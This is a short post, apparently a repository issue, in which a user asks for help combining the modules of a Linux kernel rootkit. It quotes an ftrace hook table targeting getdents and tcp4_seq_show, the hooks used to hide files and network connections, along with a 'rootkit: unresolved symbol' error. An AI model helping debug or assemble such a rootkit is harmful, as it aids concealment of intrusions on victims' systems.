How do you bring all the modules together?

[tangzichengcc]

I want to integrate all the functions in one file, but, I meet lots of bug,
For example,
static struct ftrace_hook hooks[] = {
HOOK("sys_getdents64", hook_getdents64, &orig_getdents64),
HOOK("sys_getdents", hook_getdents, &orig_getdents),
HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show),
};

this will lead to
printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);

I don't know why , can you help me ??? thank you !!!!
